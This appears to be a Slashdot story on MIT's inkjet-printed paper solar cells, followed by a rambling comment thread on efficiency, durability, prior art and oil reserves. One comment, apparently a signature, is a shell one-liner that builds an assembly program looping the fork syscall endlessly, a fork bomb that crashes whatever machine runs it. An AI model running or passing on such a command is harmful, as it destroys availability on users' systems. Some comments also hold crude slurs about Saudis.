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MIT Unveils First Solar Cells Printed On Paper
lucidkoan writes "MIT researchers recently unveiled the world's first thin-film solar cell printed on a sheet of paper. The panel was created using a process similar to that of an inkjet printer, producing semiconductor-coated paper imbued with carbon-based dyes that give the cells an efficiency of 1.5 to 2 percent. That's not incredibly efficient, but the convenience factor makes up for it. And in the future, researchers hope that the same process used in the paper solar cells could be used to print cells on metal foil or even plastic. If they're able to gear efficiencies up to scale, the development could revolutionize the production and installation of solar panels."
It would be great if this turns into a workable process but it seems like someone publishes a similar article like every week and only rarely does it amount to anything.
This ain't rocket surgery.
Time is running out for the House of Saud.
Once solar becomes ubiquitous they'll need to swap their imported cars for camels. And we won't have to worry about spoiled idiots funding Jihad as a hobby.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://www.nanosolar.com/
Too bad most of the paper I use is down where the sun don't shine.
This is not the first. A company in New Hampshire has been printing, with a 4-ink inkjet process, solar cells for years now. A quick patent search shows dozens of other groups with their own solar-from-inkjet techniques.
Sounds like the MIT guys failed to do their research.
A common problem with many alternative solar cell technologies have been that they have not been durable or degraded on UV exposure.
Being able to produce cheaper solar cells will not gain you much in $/kWh terms if the cells degrade correspondingly quicker than silicon based ones.
Basically with photo-voltaics there seems to be: { Cheap, Efficient , Durable } , Pick 2.
I would not consider myself a nay-sayer. Indeed I think solar is a great energy source where sun is plentiful, but at the moment I just don't think photo-voltaics can even hold a candle to thermal designs. Like modern solar troughs.
Biomass, big city sewage/animal waste in the country, and the nineteenth century's gift to the twenty first, the Stirling engine.
You could power city's and farms on the methane given off by crap.
I killed da wabbit -Elmer Fudd
..Don't let "Hallmark" get access to this or we'll be stuck with those annoying greetings cards that play stupid messages forever & they will never stop!!!
Laters Sol "Have you found the secrets of the universe? Asked Zebade "I'm sure I left them here somewhere"
How can this compete on price? Haven't they priced out inkjet cartridges lately? WTF!! ;)
The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
no it isn't
yes it is
no it isn't.
No no No No NO NO NO! (to Bohemian Rhapsody in the background)
I like irony.
Deleted
Yeah, it's been well-documented that BP and other oil companies in Saudi Arabia in particular have been under-reporting oil reserves for 40 years or more to keep oil prices down. They likely have WAY more oil than that. Thanks for bringing that up. That's a good point.
Tic-Tac-Toe, Global Thermonuclear War, and relationships all have the same winning move.
actually it's been reported that SA has been highballing the estimates for decades. which makes sense, as OPEC quotas are based on stated reserves - the more you claim to have in reserves the more you can pump and sell and the more money you make.
it's in every OPEC country's best interest to overstate their reserves. and of course, nobody outside of aramco is allowed to actually independently verify those numbers.
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Is this the MPAA? Is this the RIAA? Is this the DMCA? I thought it was the USA!
Ya, it was to get your attention. The link is a redirect to a malware site.
Serious? Seriousness is well above my pay grade.